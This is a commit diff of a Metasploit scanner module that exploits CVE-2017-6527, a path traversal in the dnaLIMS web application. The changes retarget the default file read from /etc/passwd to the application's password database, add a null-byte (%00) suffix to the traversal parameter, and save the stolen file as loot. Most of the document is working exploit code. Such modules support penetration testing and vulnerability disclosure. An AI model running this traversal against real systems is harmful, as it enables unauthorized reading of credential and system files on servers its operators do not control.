1
-
2
-
3
1
##
4
2
# This module requires Metasploit: http://metasploit.com/download
5
3
# Current source: https://github.com/rapid7/metasploit-framework
6
4
##
7
5
8
6
require 'msf/core'
9
7
10
- class MetasploitModule < Msf ::Exploit ::Remote
11
- Rank = ExcellentRanking
8
+ class MetasploitModule < Msf ::Auxiliary
12
9
13
10
include Msf ::Auxiliary ::Scanner
14
11
include Msf ::Auxiliary ::Report
@@ -24,14 +21,14 @@ def initialize(info = {})
24
21
} ,
25
22
'References' =>
26
23
[
27
- [ 'CVE' , '2017-6527' ]
28
- [ 'US-CERT-VU' , '929263' ]
24
+ [ 'CVE' , '2017-6527' ] ,
25
+ [ 'US-CERT-VU' , '929263' ] ,
29
26
[ 'URL' , 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/' ]
30
27
] ,
31
28
'Author' =>
32
29
[
33
- 'h00die' , # Discovery, PoC
34
- 'flakey_biscuit' # Discovery, PoC
30
+ 'h00die <[email protected] > ' , # Discovery, PoC
31
+ 'flakey_biscuit <[email protected] > ' # Discovery, PoC
35
32
] ,
36
33
'License' => MSF_LICENSE ,
37
34
'DisclosureDate' => "Mar 8 2017"
@@ -40,8 +37,8 @@ def initialize(info = {})
40
37
register_options (
41
38
[
42
39
OptString . new ( 'TARGETURI' , [ true , 'The base path to dnaLIMS' , '/cgi-bin/dna/' ] ) ,
43
- OptString . new ( 'FILE' , [ true , "The path to the file to view" , '/etc/passwd ' ] ) ,
44
- OptInt . new ( 'DEPTH' , [ true , 'The max traversal depth' , 11 ] )
40
+ OptString . new ( 'FILE' , [ true , "The path to the file to view" , '/home/dna/spool/.pfile ' ] ) , # password db for app
41
+ OptInt . new ( 'DEPTH' , [ true , 'The traversal depth' , 4 ] )
45
42
] , self . class )
46
43
47
44
deregister_options ( 'RHOST' )
@@ -57,7 +54,7 @@ def run_host(ip)
57
54
print_status ( "Requesting: #{ file } - #{ rhost } " )
58
55
res = send_request_cgi ( {
59
56
'uri' => "#{ base } /viewAppletFsa.cgi" ,
60
- 'vars_get' => { 'secID' => "#{ traverse } #{ file } " ,
57
+ 'vars_get' => { 'secID' => "#{ traverse } #{ file } %00 " ,
61
58
'Action' => 'blast' ,
62
59
'hidenav' => '1'
63
60
}
@@ -68,14 +65,13 @@ def run_host(ip)
68
65
return
69
66
end
70
67
71
-
72
68
if res . code != 200
73
69
print_error ( "Server returned a non-200 response (body will not be saved):" )
74
70
print_line ( res . to_s )
75
71
return
76
72
end
77
73
78
- vprint_line ( res . body )
74
+ vprint_good ( res . body )
79
75
p = store_loot ( 'dnaLIMS.traversal.file' , 'application/octet-stream' , ip , res . body , File . basename ( file ) )
80
76
print_good ( "File saved as: #{ p } " )
81
77
end
0 commit comments